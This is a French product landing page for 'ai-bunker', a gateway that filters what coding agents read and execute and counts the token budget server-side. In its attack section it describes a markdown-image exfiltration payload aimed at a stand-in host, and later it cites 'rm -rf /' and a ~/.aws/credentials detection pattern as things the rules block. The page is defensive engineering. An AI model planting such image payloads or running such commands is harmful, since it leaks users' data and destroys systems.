Aller au contenu

AI Helpers

Un GPU, une charte,
tous les agents de code.

Une passerelle souveraine compatible OpenAI, posée devant votre propre GPU — votre propre processeur graphique. Elle porte les standards de l'équipe, applique des règles qu'on ne peut pas contourner, et compte le budget de contexte avec le tokenizer du serveur au lieu de croire l'estimation du client.

Démarrer Lire le code BSD-3-Clause · 0.2.0-alpha

Deux attaques que personne d'autre ne filtre

Les deux ont été trouvées en envoyant des charges dans le vrai moteur, pas en relisant les motifs — comme la plupart des règles de ce projet.

La sortie qui exfiltre parce qu'on la regarde

Un résultat d'outil portant ![](https://hote/p.gif?d=…) n'a besoin d'aucune instruction ni d'aucune coopération du modèle : dès qu'un client le rend, le moteur de rendu va chercher l'adresse et la chaîne de requête atterrit dans le journal d'accès de quelqu'un d'autre. Rien ne demande à l'agent d'envoyer quoi que ce soit, donc une règle qui cherche une demande d'envoi ne trouve rien.

La charge utile ne peut pas être le signal — un seuil de longueur est une chose sous laquelle on se place, et les noms de paramètres appartiennent à l'attaquant. Ce qui marche est une liste blanche d'hôtes dont le contenu non fiable peut se télécharger, c'est-à-dire le modèle de la Content Security Policy, qui ne raisonne jamais sur la charge utile.

Une estimation qui refuse du mauvais côté

Quand aucun tokenizer n'est joignable, le budget retombe sur un ratio — et ce ratio sous-estimait jusqu'à 37 %, dans la direction même de l'incident qui a fait naître ce projet. Mesuré sur treize fichiers réels et trois familles de tokenizers, le vrai chiffre va de 2,51 à 4,23 caractères par jeton.

Il prend désormais le plancher mesuré, donc l'estimation n'est jamais optimiste, et il le dit : elle surestime la prose ordinaire d'environ la moitié, ce qui est la direction récupérable. Un chiffre qui peut refuser une requête ne doit jamais la flatter.

Pourquoi c'est au serveur de compter

Le 25/09/2026, une session s'est crue sous sa limite et a envoyé 40 433 tokens à un serveur configuré pour 32 768. Le serveur a compté pour de vrai, a refusé la requête entière, et la session est morte.

Le client ne mentait pas. Il estimait, avec sa propre règle de tokenisation, plus optimiste que celle du modèle sur le français et sur le code. L'écart était de 55 %. Tous les harnais font cela : Claude Code compacte à contexte effectif − 13 000, soit une estimation sur une estimation.

Le seul qui puisse compter juste est celui qui tient le tokenizer, et c'est le serveur.

Un plancher de session, détaillé par propriétaire
schémas d'outils (7)2 875client
prompt système du client960client
charte465ai-bunker
index des savoirs142ai-bunker
PLANCHER4 442

backend=server exact=True — compté par le moteur, pas estimé. Un plancher qu'on ne peut pas décomposer est un plancher qu'on ne peut pas réduire.

Quatre étapes, et l'ordre compte

Tout client qui parle OpenAI parle ai-bunker, et reçoit les quatre sans avoir été configuré pour. C'est l'argument qui justifie de mettre cela au point d'entrée plutôt que dans le harnais de chaque développeur : un plugin se désactive en éditant un fichier, et un autre harnais ne l'a simplement jamais eu.

L'étape 4 s'applique aussi au streaming, ce que tout client d'agent demande par défaut. Un appel d'outil livré en fragments est assemblé et jugé par le même chemin de code qu'un appel atomique, pendant que le texte autour continue de couler intact : aucun client ne peut échapper au filtrage en demandant un flux.

Une requête traversant la passerelle ai-bunker Un client à gauche envoie une requête à la passerelle au centre, qui la transmet au moteur d'inférence à droite. Dans la passerelle, l'étape 1 filtre les sorties d'outils entrantes, l'étape 2 injecte la charte, l'étape 3 mesure le budget et peut refuser la requête, l'étape 4 filtre les appels d'outils sortants et peut refuser une commande. Un trait pointillé relie les étapes 1 et 4, qui sont les deux portées d'un même moteur de règles. ai-bunker Tout client OpenAI Claude Code · OpenCode · curl Votre GPU vLLM, Ollama 01 Filtrer ce qu'il lit secrets qui sortent, injection qui entre le reste marqué comme donnée 02 Servir la charte l'index, pas les fiches position stable, donc cachable 03 Mesurer le budget avec le tokenizer du moteur, pas une estimation 413 — nomme le coupable 04 Filtrer ce qu'il exécute la commande n'a pas encore tourné refus en résultat d'outil un seul moteur de règles, aux deux bouts d'un tour
L'ordre porte le sens. Les étapes 1 et 4 sont le même moteur de règles aux deux bouts du tour d'un agent, et une passerelle est la première position d'où les deux sont visibles — une bibliothèque appelée depuis une application ne voit ni l'une ni l'autre de façon fiable.

Du travail que le moteur n'a pas à faire

Une passerelle devant un seul processeur graphique décide aussi à quoi ce processeur se dépense. Les deux ont été trouvés en mesurant, contre une socket qui accepte et répond lentement, plutôt qu'en lisant le code.

Un client qui abandonne arrête le moteur

Une requête non streamée était attendue sans que rien ne surveille l'appelant. Un client qui expirait au bout d'une seconde laissait le moteur libre de générer pendant vingt, et l'amont ne voyait jamais la connexion se fermer — donc aucun moyen de le savoir, aucune raison de s'arrêter.

L'appel court maintenant contre la connexion du client et s'annule quand elle disparaît, ce qui ferme la socket — le seul signal sur lequel un moteur peut agir. Mesuré sur le même blocage : l'amont raccroche à une seconde au lieu de jamais. Le streaming se comportait déjà bien, parce que fermer la réponse ferme le flux avec elle ; c'est mesuré aussi, pas supposé.

Une demi-commande n'est pas une commande

Un flux amont peut simplement s'arrêter — délai du fournisseur, mandataire qui plafonne la durée d'une réponse, réinitialisation. Le client reçoit alors une fermeture normale et prend un tour tronqué pour un tour fini. Ici c'était pire que négligé : rm -rf / est refusé par un BLOCKER, et coupé en {"command": "rm -rf il ne déclenche rien, puisque la règle exige une cible.

Le préfixe passait le filtrage et était relayé comme s'il était complet. Un appel d'outil dont les arguments ne s'analysent pas est désormais refusé plutôt que transmis : filtrer un fragment répond à une question que personne n'a posée, et y répond avec assurance.

Des règles livrées avec leurs preuves

Une expression régulière est la chose la plus facile à se tromper ici, et une regex fausse échoue en silence : elle cesse d'apparier, personne ne le voit, le garde-fou a disparu. Chaque règle porte donc ses propres exemples, et ils tournent en intégration continue (CI).

$ ai-bunker rules --check
  rules loaded                          27
  assertions passed                    247
  assertions failed                      0
  rules carrying evidence            100%

Trois motifs livrés étaient faux au premier jet — dont un dont la borne ne pouvait pas franchir le point de ~/.aws/credentials. Les exemples ont attrapé les trois avant tout déploiement.

2

portées : le texte qui entre, les commandes qui sortent

3,85

bits/car. — le seuil d'entropie mesuré qui distingue un identifiant d'un espace réservé

0

motif catastrophique autorisé à charger — le garde-fou en a attrapé deux dans un jeu de règles en production

Ce que ce n'est pas

  • Pas un routeur à cent fournisseurs. LiteLLM est simplement meilleur là-dessus, et ai-bunker se place devant lui plutôt que de le concurrencer.
  • Pas un classificateur de contenu. LLM Guard et Guardrails AI livrent des modèles entraînés ; ici ce sont des expressions régulières versionnées. Relisibles et gratuites à l'exécution — un arbitrage, pas une victoire.
  • Pas mature. C'est un 0.2.0-alpha à côté de projets qui ont des années de production.

Voir le paysage complet →

Ce que c'est

Les passerelles routent. Les garde-fous inspectent. Aucun ne compte.

ai-bunker est l'intersection, et ce coin de la carte reste peu peuplé. Moins vide qu'en 2025 cependant : un budget de jetons à la passerelle est désormais un motif que d'autres décrivent. Ce qui reste étroit, c'est de savoir quel tokeniseur fait le comptage.

Chaque chiffre de ce site a été mesuré. Là où une valeur est une estimation, elle le dit.